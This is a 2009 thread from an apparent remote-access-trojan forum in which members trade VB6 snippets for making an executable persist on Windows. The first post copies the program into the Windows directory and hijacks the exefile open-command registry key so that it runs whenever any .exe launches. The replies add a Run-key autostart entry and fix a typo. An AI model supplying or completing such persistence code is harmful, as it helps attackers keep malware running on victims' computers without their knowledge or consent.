Remote Administration Tool Research forumRemote Administration Tool Research forum
  Remote Administration Tool Research forum
Register Social Groups Mark Forums Read

Go Back   Remote Administration Tool Research forum > Programming > Source Code help

Reply
 
LinkBack Thread Tools Display Modes
  #1 (permalink)  
Old 08-12-2009, 19:08
Junior Member
 
Join Date: Dec 2009
Posts: 2
dosghost1 is on a distinguished road
one vb6 reg problem

ok so like i stated i tried to get the reg going and i am having a problem no load up so i tried this

\/



Code:
Public Sub Startuppp()
Dim Reg As Object
Set Reg = CreateObject("wscript.shell")
Clone App_Path & App.EXEName & ".exe", fGetWinDir & "\" & App.EXEName & ".exe"
Reg.RegWrite "HKEY_CLASSES_ROOT\exefile\shell\open\command\", App.EXEName & ".exe " & Chr(34) & Chr(37) & Chr(49) & Chr(34) & Chr(32) & Chr(37) & Chr(42)
End Sub

Still wont boot with the pc what am i doing wrong ? on
Call Startuppp ? under main forum Sub


Advice welcome
Reply With Quote
  #2 (permalink)  
Old 08-12-2009, 20:32
Menace's Avatar
Senior Member
 
Join Date: Jul 2009
Location: -------.dyndns.org
Posts: 181
Menace is on a distinguished road
Try this o_o
Code:
Dim startup As String
    startup = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"
    Dim Reg As Object
    Set Reg = CreateObject("wscript.shell")
    Reg.RegWrite Startup_key & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
__________________
Thanks FusioN for the pro SIG
Reply With Quote
  #3 (permalink)  
Old 09-12-2009, 08:52
SqUeEzEr .
Guest
 
Posts: n/a
You made a typo
Quote:
Originally Posted by Menace View Post
Try this o_o
Code:
Dim startup As String
    startup = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"
    Dim Reg As Object
    Set Reg = CreateObject("wscript.shell")
    Reg.RegWrite Startup_key & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
should be :
Code:
Dim startup As String
    startup = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"
    Dim Reg As Object
    Set Reg = CreateObject("wscript.shell")
    Reg.RegWrite Startup & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
Reply With Quote
Reply

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On



All times are GMT +1. The time now is 18:17.


vBulletin Version is 3.8.4
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd.